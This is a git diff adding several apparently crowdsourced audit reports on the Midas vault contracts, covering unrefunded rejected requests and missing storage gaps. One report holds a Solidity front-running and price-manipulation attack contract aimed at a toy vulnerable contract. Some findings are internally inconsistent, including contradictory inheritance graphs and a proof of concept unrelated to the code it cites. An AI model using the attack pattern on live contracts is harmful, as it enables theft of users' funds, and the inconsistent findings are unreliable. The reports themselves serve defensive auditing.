+## Tool used
+Manual Review, Foundry , Vs Code,
+
+## Recommendation
+
+### Mitigation Steps:
+
+**step 1:**
+
+To address this issue, the contract should be modified to include a refund mechanism when a request is rejected. Specifically:
+
+- In the `rejectRequest` function, after updating the request status to `Canceled`, the contract should transfer the user's original deposit amount back to them.
+
+**Updated `rejectRequest` Function:**
+```solidity
+function rejectRequest(uint256 requestId) external onlyVaultAdmin {
+ Request memory request = mintRequests[requestId];
+
+ require(request.sender != address(0), "DV: request not exist");
+ require(
+ request.status == RequestStatus.Pending,
+ "DV: request not pending"
+ );
+
+ mintRequests[requestId].status = RequestStatus.Canceled;
+
+ // Refund the user's deposited amount
+++ _tokenTransferToUser(request.tokenIn, request.sender, request.usdAmountWithoutFees);
+ emit RejectRequest(requestId, request.sender);
+}
+```
+
+**step2:**
+
+add tokenInRate property to struct. to store the price of token at the time of `depositRequest` function call. and then admin should transfer the token directly to user according to the price in which the request is created. which will provide from user loss of funds.
+
+```solidity
+mintRequests[currentId] = Request({
+ sender: user,
+ tokenIn: tokenInCopy,
+ status: RequestStatus.Pending,
+ depositedUsdAmount: tokenAmountInUsd,
+ usdAmountWithoutFees: (amountTokenWithoutFee * tokenInRate) /
+ 10**18,
+ tokenOutRate: tokenOutRate
+
++ tokenInRate: tokenInRate
+ });
+```
\ No newline at end of file
diff --git a/004/132.md b/004/132.md
new file mode 100644
index 0000000..d883f3a
--- /dev/null
+++ b/004/132.md
@@ -0,0 +1,38 @@
+Mammoth Burlap Dachshund
+
+High
+
+# Users will lose their tokens if their deposit request is rejected
+
+### Summary
+
+The `DepositVault::rejectRequest` function lacks the logic to transfer tokens back to the user. As a result, users will permanently lose their tokens.
+
+### Root Cause
+
+The [DepositVault::rejectRequest](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L243-L255) function lacks the logic to transfer tokens back to the user.
+```Solidity
+/* DepositVault::rejectRequest function */
+function rejectRequest(uint256 requestId) external onlyVaultAdmin {
+ Request memory request = mintRequests[requestId];
+
+ require(request.sender != address(0), "DV: request not exist");
+ require(request.status == RequestStatus.Pending, "DV: request not pending");
+
+ mintRequests[requestId].status = RequestStatus.Canceled;
+=> /* Lack the logic to transfer tokens back to the user */
+ emit RejectRequest(requestId, request.sender);
+}
+```
+
+### Internal pre-conditions
+- `User` creates a deposit request
+- `Vault Admin` rejects the deposit request
+
+### Impact
+
+The users will permanently lose their tokens.
+
+### Mitigation
+
+Add logic to transfer tokens back to the user in the `DepositVault::rejectRequest` function.
\ No newline at end of file
diff --git a/004/133.md b/004/133.md
new file mode 100644
index 0000000..3236f8c
--- /dev/null
+++ b/004/133.md
@@ -0,0 +1,37 @@
+Mammoth Burlap Dachshund
+
+High
+
+# Users will lose their mToken if their redeem request is rejected
+
+### Summary
+
+The `RedemptionVault::rejectRequest` function lacks the logic to transfer tokens back to the user. As a result, users will permanently lose their tokens.
+
+### Root Cause
+
+The [RedemptionVault::rejectRequest](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L247-L255) function lacks the logic to transfer tokens back to the user.
+```Solidity
+/* RedemptionVault::rejectRequest function */
+function rejectRequest(uint256 requestId) external onlyVaultAdmin {
+ Request memory request = redeemRequests[requestId];
+
+ _validateRequest(request.sender, request.status);
+
+ redeemRequests[requestId].status = RequestStatus.Canceled;
+=> /* Lack the logic to transfer tokens back to the user */
+ emit RejectRequest(requestId, request.sender);
+}
+```
+
+### Internal pre-conditions
+- `User` creates a redeem request
+- `Vault Admin` rejects the redeem request
+
+### Impact
+
+The users will permanently lose their tokens.
+
+### Mitigation
+
+Add logic to transfer tokens back to the user in the `RedemptionVault::rejectRequest` function.
\ No newline at end of file
diff --git a/004/148.md b/004/148.md
new file mode 100644
index 0000000..3c50d15
--- /dev/null
+++ b/004/148.md
@@ -0,0 +1,43 @@
+Dizzy Coffee Yak
+
+Medium
+
+# Rejected redemption requests will result in permanently lost mTokens
+
+### Summary
+
+The lack of a token return mechanism for rejected redemption requests will cause a permanent loss of funds for users as administrators will reject requests without returning the locked mTokens.
+
+### Root Cause
+
+In the RedemptionVault contract, the choice to not include a token return mechanism in the rejectRequest function will leave user funds permanently locked in the contract when a redemption request is rejected.
+ https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L247-L255
+
+### Internal pre-conditions
+
+1. User calls redeemRequest or redeemFiatRequest which transfers mTokens to the contract
+2. Administrator calls rejectRequest and changes the request status to Canceled
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User calls redeemRequest or redeemFiatRequest, transferring mTokens to the contract
+2. Administrator calls rejectRequest for the user's request
+3. The request status is changed to Canceled, but mTokens remain in the contract
+4. User has no way to retrieve their mTokens
+
+### Impact
+
+The users suffer a complete loss of the mTokens locked in rejected redemption requests.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Modify the rejectRequest function to return mTokens to the user (perhaps ok to retain fees) or implement a separate claim function for rejected requests:
+
diff --git a/005.md b/005.md
new file mode 100644
index 0000000..359269d
--- /dev/null
+++ b/005.md
@@ -0,0 +1,120 @@
+Sweet Hickory Pangolin
+
+High
+
+# Front-Running and Price Manipulation at _convertMTokenToUsd and _convertUsdToToken functions for RedemptionVault contract
+
+### Summary
+
+Line: https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L151
+Line: https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L154
+
+The rates for mToken and the output token are fetched via the _convertMTokenToUsd and _convertUsdToToken functions during a transaction. If there is a delay between fetching these rates and performing the final transfer, an attacker could manipulate the price feed data (if it's not secured) to benefit from the price difference.
+
+### Root Cause
+
+Price manipulation
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+An attacker could manipulate the price feed data (if it's not secured) to benefit from the price difference.
+
+### PoC
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+interface IToken {
+ function transfer(address recipient, uint256 amount) external returns (bool);
+ function balanceOf(address account) external view returns (uint256);
+}
+
+contract VulnerableContract {
+ IToken public token;
+ uint256 public price; // price of the token in some base currency, e.g., USD
+
+ constructor(IToken _token, uint256 _price) {
+ token = _token;
+ price = _price;
+ }
+
+ function buyToken(uint256 amount) external payable {
+ require(msg.value >= amount * price, "Not enough Ether sent");
+ token.transfer(msg.sender, amount);
+ }
+
+ function updatePrice(uint256 newPrice) external {
+ // Assume this function is publicly callable and price is based on an oracle
+ price = newPrice;
+ }
+}
+
+```
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "./VulnerableContract.sol";
+
+contract FrontRunningAttacker {
+ VulnerableContract public vulnerableContract;
+ IToken public token;
+ address public owner;
+
+ constructor(VulnerableContract _vulnerableContract, IToken _token) {
+ vulnerableContract = _vulnerableContract;
+ token = _token;
+ owner = msg.sender;
+ }
+
+ function manipulatePrice(uint256 newPrice) external {
+ require(msg.sender == owner, "Not authorized");
+
+ // Step 1: Manipulate the price in the vulnerable contract
+ vulnerableContract.updatePrice(newPrice);
+ }
+
+ function frontRun(uint256 amountToBuy, uint256 legitimatePrice, uint256 manipulatedPrice) external payable {
+ require(msg.sender == owner, "Not authorized");
+
+ // Step 2: Manipulate the price
+ manipulatePrice(manipulatedPrice);
+
+ // Step 3: Buy tokens at the manipulated price
+ vulnerableContract.buyToken{value: msg.value}(amountToBuy);
+
+ // Step 4: Reset the price to legitimate value
+ vulnerableContract.updatePrice(legitimatePrice);
+
+ // Step 5: Transfer the bought tokens to the attacker
+ token.transfer(owner, token.balanceOf(address(this)));
+ }
+
+ receive() external payable {}
+}
+```
+Deploy the VulnerableContract with an initial price (e.g., 1 Ether per token).
+Deploy the FrontRunningAttacker contract with references to the VulnerableContract and the token contract.
+The attacker observes a legitimate user's transaction to buy tokens at the current price.
+The attacker calls frontRun to:
+Manipulate the price to a lower value using manipulatePrice.
+Buy tokens at the manipulated, lower price.
+Reset the price to the original value.
+The legitimate user's transaction is executed, but the price has already been restored, so they receive fewer tokens than expected, while the attacker profits from the difference.
+
+### Mitigation
+
+Mitigation: Consider using Chainlink’s latestAnswer with a time-weighted average price (TWAP) or implementing a check to ensure the rate hasn’t drastically changed between the time it was first fetched and when the transfer occurs.
\ No newline at end of file
diff --git a/005/015.md b/005/015.md
new file mode 100644
index 0000000..b1c156e
--- /dev/null
+++ b/005/015.md
@@ -0,0 +1,63 @@
+Fantastic Punch Scallop
+
+Medium
+
+# Vulnerable Upgradability Pattern due to lack of storage gap implementation
+
+## Summary
+Storage of upgradable contracts might be corrupted during an upgrade.
+## Vulnerability Detail
+Note: The contracts highlighted in Orange mean that there are no gap slots defined. The contracts highlighted in Green mean that gap slots have been defined
+```mermaid
+graph BT;
+ classDef nogap fill:#f96;
+ classDef hasgap fill:#99cc00;
+ MBasisDepositVault:::hasgap-->DepositVault:::hasgap
+ DepositVault:::hasgap-->ManageableVault:::hasgap
+ ManageableVault:::hasgap-->Pausable:::nogap
+ ManageableVault:::hasgap-->Greenlistable:::nogap
+ ManageableVault:::hasgap-->Blacklistable:::nogap
+ ManageableVault:::hasgap-->WithSanctionsList:::nogap
+ Blacklistable:::nogap-->WithMidasAccessControl:::hasgap
+ WithSanctionsList:::nogap-->WithMidasAccessControl:::hasgap
+ Greenlistable:::nogap-->WithMidasAccessControl:::hasgap
+ Pausable:::nogap-->WithMidasAccessControl:::hasgap
+ Pausable:::nogap-->PausableUpgradeable:::hasgap
+ WithMidasAccessControl:::hasgap-->MidasInitializable:::nogap
+ WithMidasAccessControl:::hasgap-->MidasAccessControlRoles:::nogap
+ MBasisRedemptionVaultWithBUIDL:::hasgap-->RedemptionVaultWIthBUIDL:::hasgap
+ MBasisRedemptionVaultWithSwapper:::hasgap-->MBasisRedemptionVault:::hasgap
+ MBasisRedemptionVault:::hasgap-->RedemptionVault:::hasgap
+ RedemptionVaultWIthBUIDL:::hasgap-->RedemptionVault:::hasgap
+ RedemptionVault:::hasgap-->ManageableVault:::hasgap
+
+```
+There gap storage has not been implemented on the Pausable/WithSanctionsList/Greenlistable that have state variables that are non-constant nor immutable.
+
+Without gaps, adding new storage variables to any of these contracts can potentially overwrite the beginning of the storage layout of the child contract, causing critical misbehaviors in the system.
+
+The following contracts, do have state variables that
+For `Pausable.sol`
+```solidity
+ mapping(bytes4 => bool) public fnPaused; //@audit mutable-variable
+```
+For `WithSanctionsList.sol`
+```solidity
+ address public sanctionsList; //@audit mutable-variable
+```
+For `Greenlistable.sol`
+```solidity
+ bool public greenlistEnabled; //@audit mutable-variable
+```
+## Impact
+Storage of contracts highlighted green in the graph can be corrupted during an upgrade.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/access/Pausable.sol#L14
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/abstract/WithSanctionsList.sol#L18
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/access/Greenlistable.sol#L22
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add gaps for contracts that has mutable state variables.
\ No newline at end of file
diff --git a/005/057.md b/005/057.md
new file mode 100644
index 0000000..67d7d14
--- /dev/null
+++ b/005/057.md
@@ -0,0 +1,28 @@
+Mythical Ebony Nightingale
+
+Medium
+
+# Corruptible Upgradability Pattern
+
+## Summary
+Storage of Pausable, CustomAggregatorV3CompatibleFeed, WithSanctionsList will be corrupted and as consequence the Contracts inheriting from them when upgrading
+## Vulnerability Detail
+Midas protocol has complex inheritance structure in multiple contracts.
+
+Those Contracts are supposed to be Upgradable-Safe, but due to some contracts in the chain having storage variables without gaps it may get corrupted when getting upgraded.
+
+The contracts that don't have storage Gaps are Pausable, WithSanctionsList, CustomAggregatorV3CompatibleFeed,
+> _NOTE:!_ mentioned tokens inherit other tokens too which make the upgradable pattern more complex and liable to collision
+
+And the affected contracts would be MTBillCustomAggregatorFeed/DepositVault/RedemptionVault
+
+Adding new storage variables to any of these contracts can potentially overwrite the beginning of the storage layout of the child contract, causing critical misbehaviors in the system.
+## Impact
+Storage of affected contracts storage would get corrupted during upgrade
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/access/Pausable.sol#L14
+## Tool used
+
+Manual Review
+## Recommendation
+Add storage gaps on the mentioned contracts in the summary section
\ No newline at end of file
diff --git a/005/059.md b/005/059.md
new file mode 100644
index 0000000..3a0e76f
--- /dev/null
+++ b/005/059.md
@@ -0,0 +1,36 @@
+Mythical Grape Cow
+
+Medium
+
+# Corruptible Upgradability Pattern
+
+## Summary
+The Midas protocol's upgrade mechanism is at risk due to potential storage layout conflicts in its inheritance structure. This issue stems from the absence of storage gaps in key base contracts.
+## Vulnerability Detail
+Within the Midas ecosystem, several foundational contracts lack proper storage gap implementation. These include:
+
+1. Pausable
+2. CustomAggregatorV3CompatibleFeed
+3. WithSanctionsList
+
+The above mentioned inherited by contracts with initializer Upgradable pattern or contains initializer itself like (`CustomAggregatorV3CompatibleFeed`)
+These contracts serve as building blocks for more complex contracts like `MTBillCustomAggregatorFeed`, `DepositVault`, and `RedemptionVault`. The absence of storage gaps creates a domino effect, potentially compromising the entire upgrade process.
+
+The intricate inheritance web exacerbates this issue. Each base contract not only affects its direct descendants but also creates a ripple effect through the entire contract hierarchy.
+
+The absence of storage gaps in these contracts creates a vulnerability where introducing new storage variables could lead to storage collision. This collision may corrupt the initial storage layout of derived contracts, potentially triggering severe malfunctions throughout the system's operations.
+## Impact
+The ramifications of this vulnerability are severe:
+
+1. Storage Corruption: During upgrades, new variables added to base contracts could overwrite existing storage in derived contracts.
+2. Functional Breakdown: Critical system functions may behave erratically or fail completely post-upgrade.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/feeds/CustomAggregatorV3CompatibleFeed.sol#L74
+## Tool used
+
+Manual Review
+
+## Recommendation
+for pausable contracts, if the mapping storage is not necessary, try to remove it or implement it in the pausable-Upgradable contract na shift the gap to be `48` instead of `49`
+other contracts mentioned, add for them the Gap as needed
+
diff --git a/005/064.md b/005/064.md
new file mode 100644
index 0000000..75c5030
--- /dev/null
+++ b/005/064.md
@@ -0,0 +1,44 @@
+Colossal Maroon Nuthatch
+
+Medium
+
+# Storage of MultipleUpgradable contracts might be corrupted during upgrading
+
+## Summary
+Multiple contracts inside Midas system is vulnerable to storage collision
+## Vulnerability Detail
+The problem is due to the complex nested upgradability structure, the following contracts are suspected: (Bold is upgradable safe, italic may be corrupted due to no presence of storage gaps )
+
+- _DepositVault_ -> _ManageableVault_ ->
+ - -> **BlackListable** -> same as pausable
+ - -> **GreanListable** -> same as pausable
+ - -> **WithSanctionsList** -> same as pausable
+ - -> **Pausable** > _WithMidasAccessControl_ -> **MidasAccessControlRoles**
+
+ - _RedemptionVault_ -> _ManageableVault_ ->
+ - -> **BlackListable**
+ - -> **GreanListable**
+ - -> **WithSanctionsList**
+ - -> **Pausable** -> _WithMidasAccessControl_ -> **MidasAccessControlRoles**
+
+- **MTBillCustomAggregatorFeed** -> **CustomAggregatorV3CompatibleFeed** -> _WithMidasAccessControl_ -> **MidasAccessControlRoles**
+
+The DepositVault/RedemptionVault/MTBillCustomAggregatorFeed contracts are meant to be upgradeable. However, it inherits contracts that are not upgrade-safe.
+
+**Without gaps**, adding new storage variables to any of these contracts can potentially overwrite the beginning of the storage layout of the child contract, causing critical misbehaviors in the system.
+
+## Impact
+Storage of DepositVault/RedemptionVault/MTBillCustomAggregatorFeed contracts might be corrupted during upgrading.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVault.sol#L22
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L20
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/mBasis/MBasisCustomAggregatorFeed.sol#L12
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+add storage gaps to `Pausable` , `WithSanctionsList` , `MTBillCustomAggregatorFeed`
diff --git a/005/103.md b/005/103.md
new file mode 100644
index 0000000..b7ca992
--- /dev/null
+++ b/005/103.md
@@ -0,0 +1,62 @@
+Muscular Jade Hedgehog
+
+Medium
+
+# Corruptible Upgradability Pattern
+
+
+## Summary
+
+Storage of vault contracts (e.g. DepositVault, RedemptionVault, ...) contracts might be corrupted during an upgrade.
+
+## Vulnerability Detail
+
+Following is the inheritance of the DepositVault/RedemptionVault contracts.
+
+Note: The contracts highlighted in Orange mean that there are no gap slots defined. The contracts highlighted in Green mean that gap slots have been defined
+
+```mermaid
+graph BT;
+ classDef nogap fill:#f96;
+ classDef hasgap fill:#99cc00;
+ DepositVault:::hasgap-->ManageableVault:::hasgap
+ RedemptionVault:::hasgap-->ManageableVault:::hasgap
+ ManageableVault:::hasgap-->Pausable:::nogap
+ ManageableVault:::hasgap-->Greenlistable:::nogap
+ ManageableVault:::hasgap-->Blacklistable:::nogap
+ ManageableVault:::hasgap-->WithSanctionsList:::nogap
+ Pausable:::nogap-->WithMidasAccessControl:::gap
+ Greenlistable:::nogap-->WithMidasAccessControl:::gap
+ Blacklistable:::nogap-->WithMidasAccessControl:::gap
+ WithSanctionsList:::nogap-->WithMidasAccessControl:::hasgap
+```
+
+The vault contracts are meant to be upgradeable. However, it inherits contracts that are not upgrade-safe.
+
+The gap storage has been implemented on the DepositVault/RedemptionVault/ManageableVault/WithMidasAccessControl.
+
+However, no gap storage is implemented on Pausable/Greenlistable/Blacklistable/WithSanctionsList. Among these contracts, Pausable/Greenlistable/WithSanctionsList are contracts with defined variables (non pure-function), and they should have gaps as well.
+
+Without gaps, adding new storage variables to any of these contracts can potentially overwrite the beginning of the storage layout of the child contract, causing critical misbehaviors in the system.
+
+Note that during the last sherlock audit, this was also reported as an [issue](https://github.com/sherlock-audit/2024-05-midas-judging/issues/109). It was fixed by adding gaps to the non-pure contracts. However, since that audit, new contracts and new variables are introduced, so this issue occurs again.
+
+Also, CustomAggregatorV3CompatibleFeed does not have gaps but is inherited by MBasisCustomAggregatorFeed/MTBillCustomAggregatorFeed. If the feed wants to be upgradeable, CustomAggregatorV3CompatibleFeed should also have gaps.
+
+## Impact
+
+Storage of vault contracts might be corrupted during upgrading.
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/access/Greenlistable.sol#L22
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/access/Pausable.sol#L14
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/WithSanctionsList.sol#L18
+
+## Tool used
+
+Manual review
+
+## Recommendation
+
+Add gaps for non pure-function contracts: Pausable/Greenlistable/WithSanctionsList/CustomAggregatorV3CompatibleFeed.
\ No newline at end of file
diff --git a/005/119.md b/005/119.md
new file mode 100644
index 0000000..80ee246
--- /dev/null
+++ b/005/119.md
@@ -0,0 +1,46 @@
+Cheerful Porcelain Eel
+
+Medium
+
+# Missing storage gap in some contracts might lead to storage corruption
+
+## Summary
+
+[Issue #109](https://github.com/sherlock-audit/2024-05-midas-judging/issues/109) from Midas’ previous Sherlock audit was fixed partially. As a result, some old and new contracts can lead to storage being corrupted.
+
+## Vulnerability Detail
+
+Midas’ previous Sherlock audit highlighted an issue where storage could be corrupted due to a lack of gaps in some parent contracts. Although the bug was accepted and a fix [was added by the team](https://github.com/RedDuck-Software/midas-contracts/pull/47), the fix only modified a small subset of all the contracts impacted by the vulnerability. In addition, newly introduced contracts for this audit are also vulnerable to storage being corruped.
+
+The root cause of this issue is a lack of gaps in parent contracts that are expected to be upgradeable, as well as inherited by contracts that also contain storage. In the current version of the code, the following contracts are vulnerable due to missing adding a `__gap` variable to avoid storage collisions:
+
+- [WithSanctionsList.sol](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/WithSanctionsList.sol#L14)
+- [Greenlistable.sol](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/access/Greenlistable.sol#L12)
+- [Pausable.sol](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/access/Pausable.sol#L13)
+- [CustomAggregatorV3CompatibleFeed.sol](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/feeds/CustomAggregatorV3CompatibleFeed.sol#L16) (Note that no contracts with storage inherit this one, however it is also mentioned to prevent issues in future implementations where child contracts might have storage, adhering to the README’s answer to report issues regarding broken assumptions that could pose risks in future integrations)
+
+As shown in the code referenced for each contract in the list, none of these contracts include a `__gap` variable to avoid storage collisions. However, all of them are parents of contracts that actually have storage variables, and that are expected to be upgradeable.
+
+All other Midas parent contracts include a `__gap` variable (meaning that preventions have already been added to some of the base contracts, as all Midas contracts are expected to be upgradeable), and given that this was already reported in a previous Sherlock audit where the issue was partially (i.e incorrectly) fixed, meaning that all contracts in the protocol are expected to not be susceptible of causing issues related to storage collisions during upgrades.
+
+## Impact
+
+Medium. A previous issue is still present in the code, which could make storage from contracts inheriting from WithSanctionsList , Greenlistable, Pausable and CustomAggregatorV3CompatibleFeed be corrupted if new variables are added in this contracts during an upgrade.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/WithSanctionsList.sol#L14
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/access/Greenlistable.sol#L12
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/access/Pausable.sol#L13
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/feeds/CustomAggregatorV3CompatibleFeed.sol#L16
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Add gaps to the WithSanctionsList , Greenlistable, Pausable and CustomAggregatorV3CompatibleFeed contracts.
\ No newline at end of file
diff --git a/005/125.md b/005/125.md
new file mode 100644
index 0000000..8625ec4
--- /dev/null
+++ b/005/125.md
@@ -0,0 +1,44 @@
+Tiny Hazelnut Cobra
+
+Medium
+
+# Missing storage gaps in ManageableVault's parent contracts
+
+### Summary
+
+Missing storage gaps in four parent contracts of ManageableVault will corrupt its state and state of its child contracts, if storage variables are added to (or removed from) any of these parent contracts.
+
+### Details
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L28-L34
+
+While their parent and child contracts implement storage gaps, `Pausable`, `Greenlistable`, `WithSanctionsList` have storage variables but do not implement `__gap`; `Blacklistable` does not have any storage variables and does not use `__gap`.
+
+
+Therefore, if their storage variables are removed, or if new variables are added, it would corrupt the state of ManageableVault and its child contracts, because after such upgrade, variables of child contracts will be pointing to a different storage slot.
+
+Similarly, `mTBILL` and `mBASIS` inherit `Blacklistable`, which does not implement storage gap.
+
+### Root Cause
+
+Missing storage gap in `Pausable`, `Greenlistable`, `WithSanctionsList`, `Blacklistable`.
+
+### Impact
+
+1. Storage of all ManageableVault's child contracts:
+
+- RedemptionVaultWIthBUIDL
+- RedemptionVault
+- DepositVault
+- MBasisRedemptionVaultWithSwapper
+- MBasisRedemptionVaultWithBUIDL
+- MBasisRedemptionVault
+- MBasisDepositVault
+
+ will be corrupted if storage of either `Pausable`, `Greenlistable`, `WithSanctionsList`, or `Blacklistable` is changed due to upgrade.
+
+2. Storage of `mTBILL`, `mBASIS` will be corrupted if storage of `Blacklistable` is changed due to upgrade.
+
+### Mitigation
+
+Add storage gaps to `Pausable`, `Greenlistable`, `WithSanctionsList`, `Blacklistable`.
\ No newline at end of file
diff --git a/005/127.md b/005/127.md
new file mode 100644
index 0000000..834cb53
--- /dev/null
+++ b/005/127.md
@@ -0,0 +1,120 @@
+Winning Jetblack Salmon
+
+Medium
+
+# Corruptible upgradability pattern.
+
+## Summary
+
+In the Midas protocol, certain upgradeable contracts lack storage gap definitions, which could lead to storage corruption during contract upgrades.
+
+## Vulnerability Detail
+
+When developing upgradeable smart contracts, it's essential to maintain a consistent storage layout across contract versions to prevent storage collisions.
+
+In the Midas protocol, several contracts inherit from base contracts that do not define these necessary storage gaps, creating a risk of storage corruption when upgrading the contracts.
+
+Here's an analysis of the inheritance relationships among the Midas protocol contracts:
+
+- **Contracts with No Storage Gaps** (Highlighted in Orange): These contracts lack the storage gap definition required for upgrade safety.
+
+- **Contracts with Proper Storage Gaps** (Highlighted in Green): These contracts have defined storage gaps, making them upgrade-safe.
+
+- **OpenZeppelin (OZ) Contracts with Proper Storage Gaps** (Highlighted in Blue): These are standard OZ contracts with proper storage gap definitions.
+
+```mermaid
+graph BT;
+ classDef nogap fill:#f96;
+ classDef hasgap fill:#99cc00;
+ MBasisDepositVault:::hasgap-->DepositVault:::hasgap
+ DepositVault:::hasgap-->ManageableVault:::nogap
+ MBasisRedemptionVaultWithSwapper:::hasgap-->MBasisRedemptionVault:::hasgap
+ MBasisRedemptionVault:::hasgap-->RedemptionVault:::hasgap
+ MBasisRedemptionVaultWithBUIDL:::hasgap-->RedemptionVaultWIthBUIDL:::hasgap
+ RedemptionVaultWIthBUIDL:::hasgap-->RedemptionVault:::hasgap
+ RedemptionVault:::hasgap-->ManageableVault:::nogap
+ ManageableVault:::hasgap-->Pausable:::nogap
+ ManageableVault:::hasgap-->Blacklistable:::nogap
+ ManageableVault:::hasgap-->Greenlistable:::nogap
+ ManageableVault:::hasgap-->WithSanctionsList:::nogap
+ Pausable:::nogap-->WithMidasAccessControl:::nogap
+ Blacklistable:::nogap-->WithMidasAccessControl:::hasgap
+ Greenlistable:::nogap-->WithMidasAccessControl:::hasgap
+ WithSanctionsList:::nogap-->WithMidasAccessControl:::hasgap
+ WithMidasAccessControl:::nogap-->MidasInitializable:::nogap
+ WithMidasAccessControl:::nogap-->MidasAccessControlRoles:::nogap
+```
+---
+```mermaid
+graph BT;
+ classDef nogap fill:#f96;
+ classDef hasgap fill:#99cc00;
+ classDef oz fill:#99ccff;
+ MidasAccessControl:::nogap-->AccessControlUpgradeable:::oz
+ MidasAccessControl:::nogap-->MidasInitializable:::nogap
+ MidasAccessControl:::nogap-->MidasAccessControlRoles:::nogap
+```
+---
+```mermaid
+graph BT;
+ classDef nogap fill:#f96;
+ classDef hasgap fill:#99cc00;
+ classDef oz fill:#99ccff;
+ mBASIS:::hasgap-->mTBILL:::hasgap
+ mTBILL:::hasgap-->ERC20PausableUpgradeable:::oz
+ mTBILL:::hasgap-->Blacklistable:::nogap
+ Blacklistable:::nogap-->WithMidasAccessControl:::hasgap
+```
+---
+```mermaid
+graph BT;
+ classDef nogap fill:#f96;
+ classDef hasgap fill:#99cc00;
+ classDef oz fill:#99ccff;
+ MTBillCustomAggregatorFeed:::nogap-->CustomAggregatorV3CompatibleFeed:::nogap
+ MBasisCustomAggregatorFeed:::nogap-->CustomAggregatorV3CompatibleFeed:::nogap
+ CustomAggregatorV3CompatibleFeed:::nogap-->WithMidasAccessControl:::hasgap
+```
+---
+
+The `DepositVault`, `RedemptionVault`, `mTBILL`, `CustomAggregatorV3CompatibleFeed`, and `MidasAccessControl` contracts are intended to be upgradeable. However, their inherited contracts are not upgrade-safe.
+
+The following contracts do not have storage gaps implemented:
+
+- MidasInitializable
+- MidasAccessControlRoles
+- Pausable
+- Blacklistable
+- Greenlistable
+- WithSanctionsList
+- MidasAccessControl
+- CustomAggregatorV3CompatibleFeed
+- MTBillCustomAggregatorFeed
+- MBasisCustomAggregatorFeed
+
+Among these, only `MidasInitializable` and `MidasAccessControlRoles` do not require storage gaps, as they do not introduce new storage variables.
+
+However, the rest of the contracts should have storage gaps implemented to prevent storage corruption during upgrades.
+
+## Impact
+
+Without defined storage gaps, any new storage variables added during contract upgrades can overwrite existing storage layout slots in child contracts. This could result in severe and unpredictable behavior in the system, including data loss, incorrect logic execution, and potentially exploited vulnerabilities.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/access/Greenlistable.sol#L22
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/access/MidasAccessControl.sol
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/access/Pausable.sol#L14
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/WithSanctionsList.sol#L18
+
+## Tool used
+
+Manual review.
+
+## Recommendation
+
+Add missing storage gaps to all contracts except `MidasInitializable` and `MidasAccessControlRoles`.
+
+It is important to note that the size of the storage gap should be determined with already used slots in mind. This helps determine how many slots are actively used and helps navigate between contract-used storage slots when the developer knows that the contract is supposed to use the same number of slots, for example, 50.
+
